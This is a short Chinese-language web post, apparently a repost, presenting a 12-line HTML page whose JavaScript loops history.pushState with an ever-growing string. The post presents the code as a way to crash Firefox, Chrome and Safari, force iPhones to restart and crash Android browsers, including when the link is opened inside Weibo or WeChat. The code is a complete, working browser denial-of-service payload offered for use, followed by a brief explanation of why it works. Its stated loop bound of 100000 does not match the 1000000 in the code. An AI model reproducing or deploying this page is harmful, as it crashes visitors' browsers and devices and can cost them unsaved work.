如果你使用上述这段 12 行的 JavaScript 代码, 就可以能让 firefox,chrome,safari 浏览器崩溃, 而且还能让 iphone 重启, 安卓手机闪退!
html 代码片段
- <html>
- <body>
- <script>
- var total = "";
- for (var i = 0; i <1000000; i++) {
- total = total + i.toString();
- history.pushState(0, 0, total);
- }
- </script>
- </body>
- </html>
如果你是 PC 端用户, 点开运行, 电脑 CPU 内存极有可能一路狂飙直至浏览器崩溃卡死...
如果你是移动端 (安卓, iPhone) 用户, 点开链接以后你的浏览器会闪退! 在微博, 微信点开链接也同样会闪退.
history.pushstate()是 HTML5 引入的 API,pushState 将指定的 URL 添加到浏览器历史里, 存储当前历史记录点. 当 i<100000 的时候会循环的将 total 记录到浏览器历史里面, 重复多了, 浏览器就承受不住了, 自然就崩了.
来源: http://www.qdfuns.com/article/17591/7d9cc534852a4157207da2910316414a.html